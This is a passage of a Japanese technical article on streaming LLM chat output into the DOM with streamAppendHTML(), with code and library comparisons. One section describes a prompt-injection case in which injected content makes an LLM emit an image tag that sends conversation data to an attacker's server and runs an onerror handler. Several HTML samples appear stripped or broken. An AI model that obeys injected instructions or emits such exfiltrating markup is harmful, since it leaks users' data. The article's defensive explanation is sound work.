`、テキストの選択範囲など、要素に結びついた状態が失われる
- CSS アニメーションが更新のたびに最初から再生される
### 実際のチャット UI で使われている工夫
[Chrome の公式ガイド](https://developer.chrome.com/docs/ai/render-llm-responses)も、蓄積した全文を `innerHTML` に代入する方法は安全でなく遅いと説明しています。実際のチャット UI で使われるライブラリは、Markdown の回答を前提に次のような工夫をしています。
- 回答をブロックに分けてメモ化する: [Streamdown](https://streamdown.ai/docs/memoization) は段落やコードブロックなどの単位で結果を保持し、トークンが届くと影響を受けたブロックだけを再レンダリングする
- ストリーミング対応のパーサーを使う: [streaming-markdown](https://github.com/thetarnav/streaming-markdown) はチャンクごとに処理して新しい要素を追加するだけなので、表示済みの要素を変更しない
- 未完成の記法を補う: Streamdown が使う [remend](https://github.com/vercel/streamdown/tree/main/packages/remend) は `**bold text` を `**bold text**` に補ってから描画する
Markdown では `*` が 1 つ届いただけでは、リストなのか強調なのかが確定しません。streaming-markdown は記号を見た時点で楽観的に要素を作り、remend は足りない記号を補うことで、途中の状態でも描画できるようにしています。
`streamAppendHTML()` は、タグが完成するまでの保持と要素の追加をブラウザの HTML パーサーが行う API です。メモ化の仕組みがなくても、完成した部分を処理し直さずに描画できます。
:::note
LLM に HTML を出力させる必要があります。回答を Markdown のまま扱う場合は、上記のライブラリが引き続き選択肢になります。
:::
## `streamAppendHTML()` の基本
`streamAppendHTML()` は HTML 文字列を受け取らず、[`WritableStream`](https://developer.mozilla.org/ja/docs/Web/API/WritableStream) を返します。fetch のレスポンスをこのストリームへ接続すると、チャンクが届くたびに要素の末尾へ HTML がパースされます。
```js
const response = await fetch("/api/answer");
await response.textStream().pipeTo(element.streamAppendHTML());
```
:::note
`response.body` はバイト列のストリームなので、直接接続しないでください。`Uint8Array` が文字列に変換され、`60,112,62` のような数字の並びが描画されます。`textStream()` を使うと、UTF-8 のテキストとして受け取れます。
:::
:::info
チャンクが `` を開いています。
!v(https://videos.ctfassets.net/in6v9lxmm5c8/13N8j88u3IkZBKHgakzzLV/df40db1a5f2a0bdfb94af27678605139/stream-append-html-3.mp4 960x880)
どちらも回答は同じ速さで表示されますが、`setHTML()` 版で開いた `
` は次のチャンクで閉じてしまっていることがわかります。`streamAppendHTML()` 版の `
` は次のチャンクが届いても開いたままです。
## LLM の出力は信頼できない入力として扱う
ストリーミング描画には、LLM の出力をそのまま DOM に入れるという危険があります。LLM は検索結果や Web ページ、ユーザーが添付した文書を入力として読みます。それらに埋め込まれた指示に従って、LLM が悪意のある HTML を出力する可能性があります。この攻撃はプロンプトインジェクションと呼ばれます。
外部のコンテンツに誘導された LLM が、次の HTML を回答に混ぜた場合を再現します。`![]()
` の URL には会話中の情報を含め、別オリジンの攻撃者のサーバーへ送信します。攻撃者のサーバーは 404 を返すので `onerror` が発火し、ページの DOM を書き換えます。
```html
![]()
` と `
検索結果を要約しました。来月の請求額は 12,800 円 です。
ほかに確認したい項目はありますか？
``` 左は `streamAppendHTMLUnsafe()`、右は `streamAppendHTML()` で同じ回答を描画します。 !v(https://videos.ctfassets.net/in6v9lxmm5c8/5gvKwxo9DUlmzDeOCAATE2/dfb91855491f25850f49127aaed2df21/stream-append-html-4.mp4 960x360) `streamAppendHTML()` を使用した場合は `